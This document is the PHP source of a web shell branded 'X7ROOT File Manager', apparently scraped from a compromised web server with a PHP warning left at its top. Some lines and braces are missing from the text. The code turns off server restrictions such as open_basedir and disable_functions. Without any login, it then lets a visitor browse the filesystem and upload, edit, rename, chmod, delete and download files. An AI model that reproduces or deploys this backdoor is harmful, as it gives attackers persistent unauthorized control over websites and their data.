: str_replace(): Passing null to parameter #2 ($replace) of type array|string is deprecated in
// Dark X7ROOT X7ROOT File Manager - Clean Version
@ini_set('display_errors', 0);
if(function_exists('ini_set')) {
@ini_set('open_basedir', NULL);
@ini_set('disable_functions', '');
function writeFile($file, $data) { return @file_put_contents($file, $data) !== false; }
function readFileContent($file) { return @file_get_contents($file) ?: ''; }
function scanDirectory($dir) { return @scandir($dir) ?: []; }
$currentPath = $_GET['p'] ?? @getcwd() ?: '.';
$currentPath = rtrim(str_replace(['\\','//'], '/', $currentPath), '/') . '/';
if(!@is_dir($currentPath)) $currentPath = './';
if($_SERVER['REQUEST_METHOD'] === 'POST') {
if(isset($_FILES['upload'])) {
$destination = $currentPath . basename($_FILES['upload']['name']);
$message = @move_uploaded_file($_FILES['upload']['tmp_name'], $destination) ||
writeFile($destination, readFileContent($_FILES['upload']['tmp_name']))
? '<span style="color:#00ff00">✓ Uploaded</span>'
: '<span style="color:#ff0000">✗ Upload failed</span>';
if(isset($_POST['new'])) {
$path = $currentPath . $_POST['new'];
if(isset($_POST['type']) && $_POST['type'] === 'dir') {
$message = @mkdir($path) ? '<span style="color:#00ff00">✓ Folder created</span>' :
'<span style="color:#ff0000">✗ Failed</span>';
$message = writeFile($path, $_POST['content'] ?? '') ? '<span style="color:#00ff00">✓ File created</span>' :
'<span style="color:#ff0000">✗ Failed</span>';
if(isset($_POST['save']) && isset($_POST['data'])) {
$message = writeFile($currentPath . $_POST['save'], $_POST['data']) ?
'<span style="color:#00ff00">✓ Saved</span>' :
'<span style="color:#ff0000">✗ Save failed</span>';
if(isset($_POST['oldname']) && isset($_POST['newname'])) {
$message = @rename($currentPath . $_POST['oldname'], $currentPath . $_POST['newname']) ?
'<span style="color:#00ff00">✓ Renamed</span>' :
'<span style="color:#ff0000">✗ Failed</span>';
if(isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) {
$message = @chmod($currentPath . $_POST['chmod_item'], octdec($_POST['chmod_value'])) ?
'<span style="color:#00ff00">✓ Permissions changed</span>' :
'<span style="color:#ff0000">✗ Failed</span>';
if(isset($_GET['action'])) {
$item = $_GET['item'] ?? '';
$itemPath = $currentPath . $item;
if($_GET['action'] === 'delete') {
if(@is_file($itemPath)) {
$message = @unlink($itemPath) ? '<span style="color:#00ff00">✓ Deleted</span>' :
'<span style="color:#ff0000">✗ Failed</span>';
} elseif(@is_dir($itemPath)) {
$message = @rmdir($itemPath) ? '<span style="color:#00ff00">✓ Deleted</span>' :
'<span style="color:#ff0000">✗ Failed</span>';
} elseif($_GET['action'] === 'download' && @is_file($itemPath)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($itemPath).'"');
$items = array_diff(scanDirectory($currentPath), ['.', '..']);
foreach($items as $item) {
@is_dir($currentPath.$item) ? $folders[] = $item : $files[] = $item;
'User' => @get_current_user()
<title>X7ROOT File Manager</title>
* { margin:0; padding:0; box-sizing:border-box; font-family:'Arial', sans-serif; }
body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
border:1px solid #ff0000;
border-bottom:2px solid #ff0000;
border-bottom:1px solid #333;
.path-navigation a:hover {
border-bottom:1px solid #333;
border-bottom:1px solid #333;
border-collapse:collapse;
border-bottom:2px solid #ff0000;
border-bottom:1px solid #333;
.folder-link:hover, .file-link:hover {
font-family:'Courier New', monospace;
border:1px solid #ff0000;
font-family:'Courier New', monospace;
border-bottom:1px solid #333;
@media (max-width: 768px) {
.tools { flex-direction:column; }
.button, .action-button { width:100%; text-align:center; }
input[type="text"] { width:100%; }
.file-table th, .file-table td { padding:8px 10px; font-size:12px; }
<h1>X7ROOT File Manager</h1>
<div class="system-info">
<?php foreach($systemInfo as $key=>$value): ?>
<span><?=$key?>: <b style="color:#ff9900"><?=$value?></b></span>
<div class="message"><?=$message?></div>
<div class="path-navigation">
$parts = explode('/', trim($currentPath, '/'));
foreach($parts as $part):
<span style="color:#666">/</span>
<a href="?p=<?=$current?>/"><?=$part?></a>
<form method="post" enctype="multipart/form-data" style="display:inline;">
<input type="file" name="upload" style="display:none" id="upload" onchange="this.form.submit()">
<button type="button" class="button button-green" onclick="document.getElementById('upload').click()">
<button class="button" onclick="newFile()">📝 New File</button>
<button class="button" onclick="newFolder()">📁 New Folder</button>
<?php if(isset($_GET['edit'])): ?>
<a href="?p=<?=urlencode($currentPath)?>" class="button button-red">Close</a>
<?php if(isset($_GET['edit'])): ?>
<div class="edit-container">
<div class="edit-title">Editing: <?=htmlspecialchars($_GET['edit'])?></div>
<input type="hidden" name="save" value="<?=htmlspecialchars($_GET['edit'])?>">
<textarea name="data"><?=htmlspecialchars(readFileContent($currentPath.$_GET['edit']))?></textarea>
<div style="margin-top:15px;display:flex;gap:8px;">
<button class="button button-green">Save</button>
<a href="?p=<?=urlencode($currentPath)?>" class="button button-red">Cancel</a>
<table class="file-table">
<th width="40%">Name</th>
<th width="10%">Size</th>
<th width="15%">Permissions</th>
<th width="15%">Modified</th>
<th width="20%">Actions</th>
<?php if($currentPath !== '/'): ?>
<a href="?p=<?=urlencode(dirname($currentPath))?>" class="folder-link">
<?php foreach($folders as $folder): ?>
$folderPath = $currentPath.$folder;
$permissions = substr(sprintf('%o', @fileperms($folderPath)), -3);
<a href="?p=<?=urlencode($folderPath)?>" class="folder-link">
📁 <?=htmlspecialchars($folder)?>
<td><span class="permissions"><?=$permissions?></span></td>
<td><?=@filemtime($folderPath) ? date('Y-m-d H:i', @filemtime($folderPath)) : '-'?></td>
<button onclick="renameItem('<?=htmlspecialchars($folder)?>')" class="action-button">Rename</button>
<button onclick="changePermissions('<?=htmlspecialchars($folder)?>','<?=$permissions?>')" class="action-button">Chmod</button>
<a href="?p=<?=urlencode($currentPath)?>&action=delete&item=<?=urlencode($folder)?>"
onclick="return confirm('Delete this folder?')"
class="action-button action-button-red">Delete</a>
<?php foreach($files as $file): ?>
$filePath = $currentPath.$file;
$size = @filesize($filePath);
$permissions = substr(sprintf('%o', @fileperms($filePath)), -3);
$extension = strtolower(pathinfo($file, PATHINFO_EXTENSION));
$editable = in_array($extension, ['php','html','js','css','txt','json','xml','sql','md']);
<a href="?p=<?=urlencode($currentPath)?>&edit=<?=urlencode($file)?>" class="file-link">
📄 <?=htmlspecialchars($file)?>
<a href="?p=<?=urlencode($currentPath)?>&action=download&item=<?=urlencode($file)?>" class="file-link">
📄 <?=htmlspecialchars($file)?>
if($size < 1024) echo $size . ' B';
elseif($size < 1048576) echo round($size/1024, 1) . ' KB';
elseif($size < 1073741824) echo round($size/1048576, 1) . ' MB';
else echo round($size/1073741824, 1) . ' GB';
<td><span class="permissions"><?=$permissions?></span></td>
<td><?=@filemtime($filePath) ? date('Y-m-d H:i', @filemtime($filePath)) : '-'?></td>
<a href="?p=<?=urlencode($currentPath)?>&edit=<?=urlencode($file)?>" class="action-button">Edit</a>
<a href="?p=<?=urlencode($currentPath)?>&action=download&item=<?=urlencode($file)?>" class="action-button">Download</a>
<button onclick="renameItem('<?=htmlspecialchars($file)?>')" class="action-button">Rename</button>
<button onclick="changePermissions('<?=htmlspecialchars($file)?>','<?=$permissions?>')" class="action-button">Chmod</button>
<a href="?p=<?=urlencode($currentPath)?>&action=delete&item=<?=urlencode($file)?>"
onclick="return confirm('Delete this file?')"
class="action-button action-button-red">Delete</a>
<?php if(empty($folders) && empty($files)): ?>
<td colspan="5" style="text-align:center;padding:40px;color:#666;">